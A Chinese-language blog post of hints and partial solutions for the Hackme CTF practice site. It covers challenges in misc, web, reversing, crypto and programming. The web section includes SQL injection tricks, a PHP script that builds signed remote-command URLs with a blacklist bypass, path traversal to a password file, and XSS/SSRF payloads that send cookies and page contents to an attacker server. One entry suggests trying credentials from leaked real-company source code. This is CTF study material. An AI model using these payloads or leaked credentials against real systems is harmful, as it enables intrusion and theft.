0%

Hackme CTF 練習站的一些解題心得與提示

這篇文章是用來記錄一些我解 Hackme CTF 上一些題目學到的一些東西,不會直接寫出完整的解法。主要是為了我以後能比較容易記憶起這些東西,當作個筆記而已。

內容會根據自己的解題進度慢慢更新,最後更新 2020/09/07。

Misc

flag

和提示說的一樣,用 Regex 找一下就好了。不過要注意一下 FLAG{...} 中括號裡面是不會有一些特殊符號的。

corgi can fly

就按照它的說明,用 stegsolve 去找就可以了。

television

打開 HxD 搜尋一下,或是直接 strings 尋找也可以。

big

file 檢查一下檔案格式,然後解壓縮。它一共兩層,第二層有 16GB,注意一下。最後的檔案一樣用 HxD 打開搜尋,或是 strings 也可以。

encoder

按照它給的 encoder.py 裡面的邏輯,把它反過來解就好了。這題用 Python 2 比較好解,因為可以直接複製它原本就寫好的函數小改一下就好了。

pusheen.txt

注意一下貓的顏色。

BZBZ

一進去它就告訴你 **You must be a employee from bilibili!**,所以我們就想想看怎麼試著用員工的帳號登入。Google 了一下會知道他們的格式是 xxx@bilibili.com,然後輸進去之後會告訴你下一步的提示說 **Do you like golang? We use golang for our service and it was opensourced.**。這其實是在說之前 Bilibili 原始碼外洩的那個事件,所以就去找一份別人備份的原始碼 clone 下來,搜尋幾組帳號密碼去登入看看就好了。

我測試成功的 email 是 melloi@bilibili.com

Web

hide and seek

檢查原始碼

guestbook

就按照它給的提示,使用 sqlmap 輕鬆解決。

LFI

觀察一下它的網址,有沒有感覺像是讀檔案的感覺?
然後研究一下 php://filter 的用法就可以了。

homepage

console 是你的好朋友。

PS: 那個很奇怪的 JavaScript 檔案是由 aaencode 所編碼過的,不過這個訊息和解題毫無關係

ping

想一想 bash 哪些方法可以在參數中執行指令? $(cmd) `cmd`

有哪些方法可以讀取檔案 print 出來? cat head tail

有哪些方法可以不用打出檔案的全名就能讀檔? *

scoreboard

HTML 原始碼中沒有藏 FLAG,那哪裡還有可能藏資訊呢? 可以想想 HTTP 有什麼東西。

login as admin 0

SQL Injection

它的原始碼告訴了你 ' 會被轉換成 \',那有沒有什麼方法把 \' 前面那個礙眼的 \ 處裡掉呢? 提示: \\ -> \

再來是可以想辦法用 ORDER BY 或是 LIMIT 去讓它選到 admin 的帳號就可以了。

login as admin 0.1

前一題的延伸,用 Union Query 就可以了。

可能用了到的幾個 MySQL 技巧:

1
2
3
SELECT 1,1,column_name,1 FROM whatever_table; # 把 SELECT 的結果變成想要的格式
SELECT table_name FROM information_schema.tables WHERE table_schema = database(); # 取得表格名稱
SELECT column_name FROM information_schema.columns WHERE table_schema = database() AND table_name = "whatever_table"; # 取得欄位名稱

login as admin 1

在 SQL 中,OR 1=1OR/**/1=1 是等價的。

login as admin 3

可以去研究一下 PHP 的 weak comparison 表格,"php" == 0 的結果是 true

然後也請記得 JSON 格式是有類型資訊存在裡面的。

login as admin 4

Redirect,秒殺

login as admin 6

extract() 這個函數會把你物件中的 key => value 賦值給 $key 變數,如果有原本就存在的變數的話也會直接覆蓋,像是下面這樣:

1
2
3
4
5
6
7
$a = 1;
$ar = [
'a' => 3,
'b' => 4
];
extract($ar);
echo $a === 3 && $b === 4; // 1

login as admin 7

也是 php 的 weak comparison 問題,不過這次兩邊都是字串。

看過這個 stackoverflow 的問題後你應該就會了。

dafuq-manager 1

guest 登入後可以下載到網站的 source code,建議要讀一下,然後它的提示也告訴你了改 cookie,所以把 cookie show_hidden 改成 yes 就能找到 flag 了。

內心 OS: 那個 source code 讀起來很痛苦… 各種全域變數…

dafuq-manager 2

上一題已經告訴你 flag 是要想辦法登入為 admin 才有的,所以要想辦法找到 admin 的密碼。而帳密實際上就存在 .config/.htusers.php 裡面,不過原始碼版本的沒有寫,所以需要去讀讀看那個檔案。

讀原始碼的 fun_edit.php 中的 edit_file 函數,會發現到關鍵在於 get_show_item 這個函數。不過你上一題改的 cookie 讓你的 $item. 作為開頭,所以就能讀很多的檔案了。

接下來還要發現到原始碼裡面有個 data 資料夾,就能看出結構來,所以就在 edit 頁面給 item=../../.config/.htusers.php 就能讀到使用者資料了。取得 admin 密碼的 hash 之後去查表就能找到是 how do you turn this on 了,推薦 CrackStation。登入後就能得到 flag 了。

dafuq-manager 3

上一題告訴了你要去網頁資料夾的 flag3 找,還說要用 shell 才行,所以搜尋一下 exec 找到 fun_debug.php 就是這次的關鍵了。參數的 action 改成 debug 就能呼叫這個檔案。

do_debug 函數中有下方幾行,這個部分要靠 strcmp$dir 不是字串的時候會回傳 0,所以傳個 dir[]=1 就搞定了。

1
2
3
4
$dir = $GLOBALS['__GET']['dir'];
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
show_error('You are not hacky enough :(');
}

接下來後面就是用 base64 和 hash 去執行指令了,用下方的 php 就能達成了。還有要記得 php 中字串是可以作為函數來呼叫的,所以可以繞過它的函數黑名單。

1
2
3
4
5
6
7
8
9
10
<?php
$sec='KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3';
#$cmd='var_dump(scandir("/var/www/webhdisk/flag3"));'; # read dir, PS: the file flag3 isn't directly readable
#$cmd='echo "<pre>".file_get_contents("/var/www/webhdisk/flag3/Makefile")."</pre>";'; # see Makefile about usage
#$cmd='echo "<pre>".file_get_contents("/var/www/webhdisk/flag3/meow.c")."</pre>";'; # see source code
$cmd='$a="ex";$b="ec";$e=$a.$b;echo $e("cd /var/www/webhdisk/flag3/ && ./meow ./flag3");'; # execute to get flag
$hmac=hash_hmac('sha256',$cmd,$sec);
$base='https://dafuq-manager.hackme.inndy.tw/index.php?action=debug&dir[]=1&command=';
$url=$base.urlencode(base64_encode($cmd).'.'.$hmac)."\n";
echo $url;

wordpress 1

在文章列表中可以找到一篇叫 “Backup File” 的文章,裡面有 source code 的 Dropbox 連結,先下載下來。接下來我用 vscode 打開,搜尋 flag 然後仔細找找看有沒有可疑的地方,然後也真的有。

你會在 wp-content/plugins/core.php 發現到可疑的東西。密碼的部分 md5 查表可以找到 cat flag,不過輸進去之後了還是不行,因為它說只能從 127.0.0.1 瀏覽。但你可以檢查一下 wp_get_user_ip 這個函數,它會從 $_SERVER['HTTP_X_FORWARDED_FOR'] 讀 ip,所以加個 X-Forwarded-For: 127.0.0.1 的 header 就破解得到 flag 了。

wordpress 2

上題的 flag 內容告訴了你範圍在主題裡面,所以也只能在裡面慢慢找有沒有可疑的地方。(我是有去查別人 writeup 的提示,因為懶…)

目標檔案是 wp-content/themes/astrid/template-parts/content-search.php (搜尋頁面),裡面有個很可疑的一行:

1
<!-- debug:<?php var_dump($wp_query->post->{'post_'.(string)($_GET['debug']?:'type')}); ?> -->

這個相當於取得目前這個 post 的 post_* 內容,如果有 debug 參數就取 post_{debug},否則是 post_type

關於那奇怪的語法可以參考這兩篇: 1 2

不過我們要怎麼知道要取得什麼呢? 如果你搜尋空白字串,可以在第二頁找到一篇加密的文章叫 FLAG2,然後我們再參考一下官方的 post 物件就能發現有 post_password 這種東西。所以我們的目標 url 就是: https://wp.hackme.inndy.tw/page/2?s=&debug=password 了。

取得密碼後輸入進去,就能取得 flag 了。

webshell

檢查一下原始碼,然後想辦法改一下 php 就能得到它後台的 php 原始碼了,然後就針對它的碼去生成對應的 query string 就好了。不過要注意一下 (a^b)^b=a,以及它到底在 hash 的是哪個變數。

1
2
3
4
5
6
7
8
<?php
$ip = "YOUR_IP_HERE";
$executed_cmd = $_GET['cmd'];

$cmd = hash('SHA512', $ip) ^ (string)$executed_cmd;
$key = $_SERVER['HTTP_USER_AGENT'] . sha1("webshell.hackme.inndy.tw");
$sig = hash_hmac('SHA512', $executed_cmd, $key);
echo "cmd=".urlencode($cmd)."&sig=".$sig;

還有注意一下 flag 藏在隱藏檔裡面。

xssme

註冊完之後會收到一封來自 admin 的信說 I will read all your mails but never reply.,這代表它真的會打開你寄給他的信來閱讀的,這就有觸發 XSS 的機會。(實際上應該是用模擬的,headless browser 之類的)

關於 XSS 的觸發 tag 建議參考一下這份資料,因為它會擋一些關鍵的單字如 <script onerror 之類的,不過只要拿那裡面的其他 payload 就可以了,例如我測試到 <svg/onload=""> 是可以的。

然後你可能還需要一個伺服器來接收 XSS 之後的 request,想辦法讀資料。我是用 codesandbox 提供的服務,在上面弄個簡單的 node.js express server 把收到的 path 給輸出出來。

然後之後就用 location.href='https://YOUR_SERVER/test' 之類的東西,就可以了。如果遇到它告訴你遇到禁止的字元的話就用 html entities 轉譯處裡,例如這個

而這題就只要取得 admin 的 cookie (document.cookie) 就好了,所以就在 url 後面接上 document.cookie,也能選擇性的把它編碼(btoa encodeURIComponent)過之後再傳。

得到 cookie 後就能直接在裡面找到 Flag 了。

xssrf leak

這題是 xssme 的延伸,要你想辦法從某個 php 的原始碼中找到 flag。

上題所得到的 cookie 中有包含 PHPSESSID,但你實際上使用這個是無效的,因為它有限制只能從 localhost 存取 admin。就算你使用 X-Forwarded-For 去改也是無效的。

先再看一次題目名稱看看,xssrf 中的 ssrf 指的是 Server-side request forgery,就是想辦法讓對方在內網中發送一些 request 然後取得內容。

以這題來說,我們可以透過 Ajax 去抓取它網站上的資料。不過它模擬 JS 的軟體應該是很舊的樣子,fetch () => {} XMLHttpRequest.prototype.onload 一個都不支援,所以只能像是下面那樣用古老的寫法來做 Ajax。

1
2
3
4
5
6
7
8
xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
location.href = 'https://YOUR_SERVER/' + btoa(xhr.responseText)
}
}
xhr.open('GET', '.') // '.' 可以換成其他頁面,如果只是要存取它開你信件的話其實也不用 Ajax,直接 document.body.innerHTML 解決
xhr.send()

之後我們會先取得 admin 看到的信件頁面原始碼,會在裡面的選單發現到它有多出一些頁面,如 setadmin.php request.php 之類的。然後就用一樣的方法去取得那些頁面的原始碼,然後猜測它的功能並測試。之後會發現 request.php 頁面似乎是個可以對外部發送 request 的頁面(可以自己測試看看),有可能是用 file_get_contents 實作的,所以搞不好可以拿來讀檔案。

不過這時會不曉得該讀哪個檔案,所以我只好去查了一下關於這題其他人的解法,發現到還有 /robots.txt 可以查看。然後就在裡面發現到原來還有個 config.php,那八成就是我們的目標了。

然後我們要讀到檔案的方法可以讓它的 url 參數塞 ./config.php 之類的,不過發現到沒有效果,那就還有 file:// 格式的 uri 能用,不過這個格式只能為絕對路徑,所以得猜一下檔案目錄是在哪裡。而這個的解答實際上就是 /var/www/html/config.php,算是個還蠻常見的目標(其他的題目好像也都放在同個名稱的目錄下)。讀取到那個檔案之後就在裡面找到 Flag 了,這題就這樣破解了。

PS: 你實際上還可以再讓它讀讀看 request.php,發現到它原來是用 shell_exec curl escapeshellarg 實作的,所以真的只能用 file:// 格式的才能讀到檔案。

Reversing

helloworld

把執行檔丟進反編譯的軟體裡面,找到 main 的地方之後很快的就能找到它的 magic number 了。

simple

ltrace, Rot cipherAscii

pyyy

把下載的 pyc 檔丟給 decompiler,然後在要求輸入的地方稍微改一下,然後執行後就會輸出 FLAG 了。

Pwn

catflag

按照上面的指示 nc 過去,然後執行指令 cat flag 就好了,非常簡單。

Crypto

easy

hexstring -> ascii

r u kidding

明顯是 rot-n 之類的 Cipher,但是因為我們知道 Flag 的格式是 FLAG{...},那個 n 就很明顯了,連暴力都不用。

not hard

查一下 python 的 base64 documentation,看一下裡面有什麼 base64 的變種能用。這題需要 decode 兩次。

classic cipher 1

就和題目說的一樣是 substitution cipher,不過因為我們知道 Flag 的格式,所以起碼知道四個字母的轉換。

可能用了到的工具: quipqiup

easy AES

這題真的很簡單,只要懂非對稱加密就好了。根據它的 python 碼可以知道它的 input plain_text 是固定的,寫個程式反過來算就好了。

1
2
3
4
#!/usr/bin/env python3
from Crypto.Cipher import AES # pip3 install pycrypto
c = AES.new(b'Hello, World...!')
print(c.decrypt(b'Good Plain Text!').hex())

得到字串後重新執行一次,輸入進去然後打開產生的 output.jpg,上面就有 flag 了。

login as admin 2

這題和 login as admin 3 有些相似,一樣是要透過自己改 cookie 來突破,不過它一樣有 sig 需要處裡。不過提示已經跟你說了 length extension attack,那就找個工具來用就好了。例如 HashPump

再來是 PHP 在解讀 querystring 的時候如果遇到重複的 key 出現,後面的會把前面的值覆蓋掉。例如 a=1&a=2 => $_GET['a'] === '2'

還有請你注意一下 md5($secret) 的長度是多少,對破解這題有用。

login as admin 5

透過觀察原始碼你會發現到你能擁有的資訊有加密過 guest user 資料 json,以及那個 json 實際上長怎樣。那麼這個怎麼做呢,建議先複習一下 RC4 這個加密法是怎麼實作的。

1
2
3
keyStream = RC4(key, length)
cipherText = text ^ keyStream
text = chiperText ^ keyStream

既然我們已經有了 textcipherText 後,我們可以得到 keyStream。再來我們再生成的我們想要的 user json 用 keyStream 加密回去就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
b = decodeURIComponent('user5 cookie here')
enc = atob(b)
plain = JSON.stringify({ name: 'guest', admin: false })
ks = ''
for (let i = 0; i < enc.length; i++) {
ks += String.fromCharCode(enc.charCodeAt(i) ^ plain.charCodeAt(i))
}
target = JSON.stringify({ name: 'guest', admin: true })
result = ''
for (let i = 0; i < target.length; i++) {
result += String.fromCharCode(ks.charCodeAt(i) ^ target.charCodeAt(i))
}
console.log(encodeURIComponent(btoa(result)))

xor

研究一下 xortool 就能很簡單的破解了。

emoji

它給了你一個壓縮過的 js,不過我們看到一開始就是 eval,所以就先把它移除掉看看要執行的程式碼到底是什麼,然後再把它丟到 beautifier 之類的工具比較好閱讀。
接下來除了加密的資料以外我們還可以很清楚的看到它的加密邏輯,可以簡化為下方的 code:

1
2
3
4
const encrypt = (str) =>
Array.from(str)
.map((e) => e.charCodeAt(0))
.map((e) => (e * 0xb1 + 0x1b) & 0xff)

這個加密怎麼破解呢?因為字元的範圍是 0~255,所以直接暴力破解就好了。

1
2
3
4
5
6
7
8
9
10
11
ar = [] // encrypted byte array
res = []
for (let i = 0; i < ar.length; i++) {
for (let j = 0; j < 256; j++) {
if (((j * 0xb1 + 0x1b) & 0xff) === ar[i]) {
res[i] = j
break
}
}
}
console.log(res.map((x) => String.fromCharCode(x)).join(''))

Programming

fast

這題就要寫程式去回應它出的 10000 題四則運算,不過有個它沒說的點是它的運算是遵守 C 的 32 位元整數來運算的…
這讓我一開始用 node.js 寫弄的很麻煩還沒過,最後只好用 python。